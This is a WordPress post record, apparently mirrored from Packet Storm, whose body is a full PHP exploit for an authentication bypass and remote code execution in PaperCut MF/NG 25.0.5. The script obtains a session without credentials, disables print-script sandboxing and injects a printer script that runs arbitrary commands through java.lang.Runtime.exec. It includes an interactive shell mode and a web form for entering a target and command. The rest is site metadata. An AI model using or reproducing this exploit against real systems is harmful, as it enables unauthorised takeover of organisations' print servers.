{"id":41165,"date":"2026-02-17T12:46:09","date_gmt":"2026-02-17T12:46:09","guid":{"rendered":"http:\/\/localhost\/?p=41165"},"modified":"2026-02-17T12:46:09","modified_gmt":"2026-02-17T12:46:09","slug":"papercut-mfng-2505-authentication-bypass-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41165","title":{"rendered":"\ud83d\udcc4 PaperCut MF\/NG 25.0.5 Authentication Bypass \/ Remote Code Execution_PACKETSTORM:215739"},"content":{"rendered":"

{“lastseen”:”2026-02-17T18:13:17″,”description”:”A critical security vulnerability was discovered in version 25.0.5 of PaperCut MF\/NG that allows attackers to bypass authentication and execute remote commands on the target system without requiring any credentials…”,”published”:”2026-02-17T00:00:00″,”modified”:”2026-02-17T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 PaperCut MF\/NG 25.0.5 Authentication Bypass \/ Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:215739″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title : PaperCut MF\/NG 25.0.5 Authentication Bypass |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.papercut.com\/ |\\n =============================================================================================================================================\\n \\n [+] Summary : \\n \\n A critical security vulnerability was discovered in version 25.0.5 of PaperCut MF\/NG \\n \\t\\t that allows attackers to bypass authentication and execute remote commands on the target system without requiring any credentials.\\n \\t\\t \\n [+] POC : php poc.php\\n \\n \\u003c?php\\n \\n class PaperCutExploit {\\n private $target;\\n private $session;\\n \\n public function __construct($target_url) {\\n $this-\\u003etarget = rtrim($target_url, ‘\/’);\\n $this-\\u003esession = curl_init();\\n \\n curl_setopt_array($this-\\u003esession, [\\n CURLOPT_RETURNTRANSFER =\\u003e true,\\n CURLOPT_FOLLOWLOCATION =\\u003e true,\\n CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n CURLOPT_TIMEOUT =\\u003e 30,\\n CURLOPT_USERAGENT =\\u003e ‘Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36’,\\n CURLOPT_COOKIEJAR =\\u003e ‘cookies.txt’,\\n CURLOPT_COOKIEFILE =\\u003e ‘cookies.txt’\\n ]);\\n }\\n \\n public function get_session_id() {\\n echo \\”[*] Attempting authentication bypass…\\\\n\\”;\\n \\n $url = $this-\\u003etarget . ‘\/app?service=page\/SetupCompleted’;\\n \\n curl_setopt_array($this-\\u003esession, [\\n CURLOPT_URL =\\u003e $url,\\n CURLOPT_HTTPGET =\\u003e true\\n ]);\\n \\n $response = curl_exec($this-\\u003esession);\\n \\n $post_data = [\\n ‘service’ =\\u003e ‘direct\/1\/SetupCompleted\/$Form’,\\n ‘sp’ =\\u003e ‘S0’,\\n ‘Form0’ =\\u003e ‘$Hidden,analyticsEnabled,$Submit’,\\n ‘$Hidden’ =\\u003e ‘true’,\\n ‘$Submit’ =\\u003e ‘Login’\\n ];\\n \\n $headers = [\\n ‘Origin: ‘ . $this-\\u003etarget,\\n ‘Content-Type: application\/x-www-form-urlencoded’\\n ];\\n \\n curl_setopt_array($this-\\u003esession, [\\n CURLOPT_URL =\\u003e $this-\\u003etarget . ‘\/app’,\\n CURLOPT_POST =\\u003e true,\\n CURLOPT_POSTFIELDS =\\u003e http_build_query($post_data),\\n CURLOPT_HTTPHEADER =\\u003e $headers\\n ]);\\n \\n $response = curl_exec($this-\\u003esession);\\n $http_code = curl_getinfo($this-\\u003esession, CURLINFO_HTTP_CODE);\\n \\n if ($http_code == 200 \\u0026\\u0026 strpos($response, ‘papercut’) !== false) {\\n \\n $cookies = curl_getinfo($this-\\u003esession, CURLINFO_COOKIELIST);\\n foreach ($cookies as $cookie) {\\n if (strpos($cookie, ‘JSESSIONID’) !== false) {\\n echo \\”[+] Authentication bypass successful! Obtained JSESSIONID\\\\n\\”;\\n return true;\\n }\\n }\\n }\\n \\n echo \\”[-] Authentication bypass failed\\\\n\\”;\\n return false;\\n }\\n \\n public function set_setting($setting, $enabled) {\\n echo \\”[*] Updating {$setting} to {$enabled}\\\\n\\”;\\n \\n $post_data = [\\n ‘service’ =\\u003e ‘direct\/1\/ConfigEditor\/quickFindForm’,\\n ‘sp’ =\\u003e ‘S0’,\\n ‘Form0’ =\\u003e ‘$TextField,doQuickFind,clear’,\\n ‘$TextField’ =\\u003e $setting,\\n ‘doQuickFind’ =\\u003e ‘Go’\\n ];\\n \\n $headers = [\\n ‘Origin: ‘ . $this-\\u003etarget,\\n ‘Content-Type: application\/x-www-form-urlencoded’\\n ];\\n \\n curl_setopt_array($this-\\u003esession, [\\n CURLOPT_URL =\\u003e $this-\\u003etarget . ‘\/app’,\\n CURLOPT_POST =\\u003e true,\\n CURLOPT_POSTFIELDS =\\u003e http_build_query($post_data),\\n CURLOPT_HTTPHEADER =\\u003e $headers\\n ]);\\n \\n $response = curl_exec($this-\\u003esession);\\n \\n $post_data = [\\n ‘service’ =\\u003e ‘direct\/1\/ConfigEditor\/$Form’,\\n ‘sp’ =\\u003e ‘S1’,\\n ‘Form1’ =\\u003e ‘$TextField$0,$Submit,$Submit$0’,\\n ‘$TextField$0’ =\\u003e $enabled,\\n ‘$Submit’ =\\u003e ‘Update’\\n ];\\n \\n curl_setopt_array($this-\\u003esession, [\\n CURLOPT_POSTFIELDS =\\u003e http_build_query($post_data)\\n ]);\\n \\n $response = curl_exec($this-\\u003esession);\\n \\n if (strpos($response, ‘Updated successfully’) !== false) {\\n echo \\”[+] Setting updated successfully\\\\n\\”;\\n return true;\\n }\\n \\n echo \\”[-] Failed to update setting\\\\n\\”;\\n return false;\\n }\\n \\n public function execute_command($command) {\\n echo \\”[*] Preparing to execute command: {$command}\\\\n\\”;\\n \\n $this-\\u003eset_setting(‘print-and-device.script.enabled’, ‘Y’);\\n $this-\\u003eset_setting(‘print.script.sandboxed’, ‘N’);\\n \\n \/\/ Navigate to printer configuration\\n $steps = [\\n ‘\/app?service=page\/PrinterList’,\\n ‘\/app?service=direct\/1\/PrinterList\/selectPrinter\\u0026sp=l1001’,\\n ‘\/app?service=direct\/1\/PrinterDetails\/printerOptionsTab.tab\\u0026sp=4’\\n ];\\n \\n foreach ($steps as $step) {\\n curl_setopt_array($this-\\u003esession, [\\n CURLOPT_URL =\\u003e $this-\\u003etarget . $step,\\n CURLOPT_HTTPGET =\\u003e true,\\n CURLOPT_POSTFIELDS =\\u003e null\\n ]);\\n curl_exec($this-\\u003esession);\\n }\\n \\n $script_body = \\”function printJobHook(inputs, actions) {}\\\\r\\\\n\\” .\\n \\”java.lang.Runtime.getRuntime().exec(‘{$command}’);\\”;\\n \\n $post_data = [\\n ‘service’ =\\u003e ‘direct\/1\/PrinterDetails\/$PrinterDetailsScript.$Form’,\\n ‘sp’ =\\u003e ‘S0’,\\n ‘Form0’ =\\u003e ‘printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1’,\\n ‘printerId’ =\\u003e ‘l1001’,\\n ‘enablePrintScript’ =\\u003e ‘on’,\\n ‘scriptBody’ =\\u003e $script_body,\\n ‘$Submit$1’ =\\u003e ‘Apply’\\n ];\\n \\n $headers = [\\n ‘Origin: ‘ . $this-\\u003etarget,\\n ‘Content-Type: application\/x-www-form-urlencoded’\\n ];\\n \\n curl_setopt_array($this-\\u003esession, [\\n CURLOPT_URL =\\u003e $this-\\u003etarget . ‘\/app’,\\n CURLOPT_POST =\\u003e true,\\n CURLOPT_POSTFIELDS =\\u003e http_build_query($post_data),\\n CURLOPT_HTTPHEADER =\\u003e $headers\\n ]);\\n \\n $response = curl_exec($this-\\u003esession);\\n \\n if (strpos($response, ‘Saved successfully’) !== false) {\\n echo \\”[+] Command executed successfully!\\\\n\\”;\\n \\n $this-\\u003eset_setting(‘print-and-device.script.enabled’, ‘N’);\\n $this-\\u003eset_setting(‘print.script.sandboxed’, ‘Y’);\\n \\n return true;\\n } else {\\n echo \\”[-] Command execution failed – printer might not be configured\\\\n\\”;\\n echo \\”[*] Try manually adding a printer in PaperCut admin interface\\\\n\\”;\\n return false;\\n }\\n }\\n \\n public function exploit($command) {\\n if (!$this-\\u003eget_session_id()) {\\n return false;\\n }\\n \\n return $this-\\u003eexecute_command($command);\\n }\\n \\n public function interactive_shell() {\\n echo \\”[+] Starting interactive shell. Type ‘exit’ to quit.\\\\n\\”;\\n \\n while (true) {\\n echo \\”papercut\\u003e \\”;\\n $command = trim(fgets(STDIN));\\n \\n if ($command === ‘exit’) {\\n break;\\n }\\n \\n if (!empty($command)) {\\n $this-\\u003eexecute_command($command);\\n }\\n }\\n }\\n \\n public function __destruct() {\\n if ($this-\\u003esession) {\\n curl_close($this-\\u003esession);\\n }\\n if (file_exists(‘cookies.txt’)) {\\n unlink(‘cookies.txt’);\\n }\\n }\\n }\\n \\n if (php_sapi_name() === ‘cli’) {\\n echo \\”\\n \u2588\u2588\u2557\u2588\u2588\u2588\u2557 \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2557 \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557 \u2588\u2588\u2557\u2588\u2588\u2557 \u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557 \\n \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2554\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\\n \u2588\u2588\u2551\u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2551\u2588\u2588 \u2588\u2554\u255d\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2554\u255d \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\\n \u2588\u2588\u2551\u2588\u2588\u2551\u255a\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2588\u2588\u2557 \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\\n \u2588\u2588\u2551\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2557\u2588\u2588\u2551 \u2588\u2588\u2551\\n \u255a\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\\n \\n PaperCut MF\/NG Unauthenticated RCE Exploit\\n \\n By: indoushka\\n \\\\n\\”;\\n \\n $options = getopt(\\”u:c:ih\\”, [\\n \\”url:\\”,\\n \\”command:\\”,\\n \\”interactive\\”,\\n \\”help\\”\\n ]);\\n \\n if (isset($options[‘h’]) || isset($options[‘help’]) || $argc == 1) {\\n echo \\”Usage: php poc.php [options]\\\\n\\”;\\n echo \\”Options:\\\\n\\”;\\n echo \\” -u, –url Target URL (required)\\\\n\\”;\\n echo \\” -c, –command Command to execute\\\\n\\”;\\n echo \\” -i, –interactive Start interactive shell\\\\n\\”;\\n echo \\” -h, –help Show this help message\\\\n\\”;\\n echo \\”\\\\nExamples:\\\\n\\”;\\n echo \\” php poc.php -u https:\/\/papercut.company.com -c ‘whoami’\\\\n\\”;\\n echo \\” php poc.php -u http:\/\/192.168.1.100:9191 -c ‘ipconfig’\\\\n\\”;\\n echo \\” php poc.php -u https:\/\/papercut.target.com -i\\\\n\\”;\\n exit(1);\\n }\\n \\n if (!isset($options[‘u’]) \\u0026\\u0026 !isset($options[‘url’])) {\\n echo \\”Error: Target URL is required\\\\n\\”;\\n exit(1);\\n }\\n \\n $target = isset($options[‘u’]) ? $options[‘u’] : $options[‘url’];\\n $command = isset($options[‘c’]) ? $options[‘c’] : (isset($options[‘command’]) ? $options[‘command’] : ‘whoami’);\\n \\n $exploit = new PaperCutExploit($target);\\n \\n if (isset($options[‘i’]) || isset($options[‘interactive’])) {\\n if ($exploit-\\u003eexploit(‘echo \\”Interactive shell started\\”‘)) {\\n $exploit-\\u003einteractive_shell();\\n }\\n } else {\\n $exploit-\\u003eexploit($command);\\n }\\n \\n } else {\\n \\n if (isset($_POST[‘exploit’])) {\\n $target = $_POST[‘target’] ?? ”;\\n $command = $_POST[‘command’] ?? ‘whoami’;\\n \\n if ($target) {\\n $exploit = new PaperCutExploit($target);\\n \\n ob_start();\\n $result = $exploit-\\u003eexploit($command);\\n $output = ob_get_clean();\\n \\n echo \\”\\u003cpre\\u003e$output\\u003c\/pre\\u003e\\”;\\n } else {\\n echo \\”\\u003cdiv style=’color: red;’\\u003eTarget URL is required\\u003c\/div\\u003e\\”;\\n }\\n } else {\\n echo ‘\\u003c!DOCTYPE html\\u003e\\n \\u003chtml\\u003e\\n \\u003chead\\u003e\\n \\u003ctitle\\u003ePaperCut RCE Exploit\\u003c\/title\\u003e\\n \\u003cstyle\\u003e\\n body { font-family: Arial, sans-serif; margin: 40px; }\\n .container { max-width: 600px; margin: 0 auto; }\\n .form-group { margin-bottom: 15px; }\\n label { display: block; margin-bottom: 5px; font-weight: bold; }\\n input[type=\\”text\\”] { \\n width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px; \\n }\\n button { \\n background: #007cba; color: white; padding: 10px 20px; \\n border: none; border-radius: 4px; cursor: pointer; \\n }\\n \\u003c\/style\\u003e\\n \\u003c\/head\\u003e\\n \\u003cbody\\u003e\\n \\u003cdiv class=\\”container\\”\\u003e\\n \\u003ch1\\u003ePaperCut MF\/NG RCE Exploit\\u003c\/h1\\u003e\\n \\u003cform method=\\”post\\”\\u003e\\n \\u003cinput type=\\”hidden\\” name=\\”exploit\\” value=\\”1\\”\\u003e\\n \\n \\u003cdiv class=\\”form-group\\”\\u003e\\n \\u003clabel for=\\”target\\”\\u003eTarget URL:\\u003c\/label\\u003e\\n \\u003cinput type=\\”text\\” id=\\”target\\” name=\\”target\\” placeholder=\\”https:\/\/papercut.company.com:9191\\” required\\u003e\\n \\u003c\/div\\u003e\\n \\n \\u003cdiv class=\\”form-group\\”\\u003e\\n \\u003clabel for=\\”command\\”\\u003eCommand:\\u003c\/label\\u003e\\n \\u003cinput type=\\”text\\” id=\\”command\\” name=\\”command\\” value=\\”whoami\\”\\u003e\\n \\u003c\/div\\u003e\\n \\n \\u003cbutton type=\\”submit\\”\\u003eExecute Exploit\\u003c\/button\\u003e\\n \\u003c\/form\\u003e\\n \\u003c\/div\\u003e\\n \\u003c\/body\\u003e\\n \\u003c\/html\\u003e’;\\n }\\n }\\n ?\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215739″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215739\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"

{“lastseen”:”2026-02-17T18:13:17″,”description”:”A critical security vulnerability was discovered in version 25.0.5 of PaperCut MF\/NG that allows attackers to bypass authentication and execute remote commands on the target…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-41165","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n\ud83d\udcc4 PaperCut MF\/NG 25.0.5 Authentication Bypass \/ Remote Code Execution_PACKETSTORM:215739 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41165\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 PaperCut MF\/NG 25.0.5 Authentication Bypass \/ Remote Code Execution_PACKETSTORM:215739 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{“lastseen”:”2026-02-17T18:13:17″,”description”:”A critical security vulnerability was discovered in version 25.0.5 of PaperCut MF\/NG that allows attackers to bypass authentication and execute remote commands on the target...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41165\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-17T12:46:09+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41165#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41165\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 PaperCut MF\\\/NG 25.0.5 Authentication Bypass \\\/ Remote Code Execution_PACKETSTORM:215739\",\"datePublished\":\"2026-02-17T12:46:09+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41165\"},\"wordCount\":1740,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41165#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41165\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41165\",\"name\":\"\ud83d\udcc4 PaperCut MF\\\/NG 25.0.5 Authentication Bypass \\\/ Remote Code Execution_PACKETSTORM:215739 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-17T12:46:09+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41165#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41165\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41165#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 PaperCut MF\\\/NG 25.0.5 Authentication Bypass \\\/ Remote Code Execution_PACKETSTORM:215739\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 PaperCut MF\/NG 25.0.5 Authentication Bypass \/ Remote Code Execution_PACKETSTORM:215739 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41165","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 PaperCut MF\/NG 25.0.5 Authentication Bypass \/ Remote Code Execution_PACKETSTORM:215739 - zero redgem","og_description":"{“lastseen”:”2026-02-17T18:13:17″,”description”:”A critical security vulnerability was discovered in version 25.0.5 of PaperCut MF\/NG that allows attackers to bypass authentication and execute remote commands on the target...","og_url":"https:\/\/zero.redgem.net\/?p=41165","og_site_name":"zero redgem","article_published_time":"2026-02-17T12:46:09+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41165#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41165"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 PaperCut MF\/NG 25.0.5 Authentication Bypass \/ Remote Code Execution_PACKETSTORM:215739","datePublished":"2026-02-17T12:46:09+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41165"},"wordCount":1740,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41165#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41165","url":"https:\/\/zero.redgem.net\/?p=41165","name":"\ud83d\udcc4 PaperCut MF\/NG 25.0.5 Authentication Bypass \/ Remote Code Execution_PACKETSTORM:215739 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-17T12:46:09+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41165#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41165"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41165#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 PaperCut MF\/NG 25.0.5 Authentication Bypass \/ Remote Code Execution_PACKETSTORM:215739"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41165","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41165"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41165\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41165"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41165"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41165"}],"curies":[{"name":"wp","href":"https:\/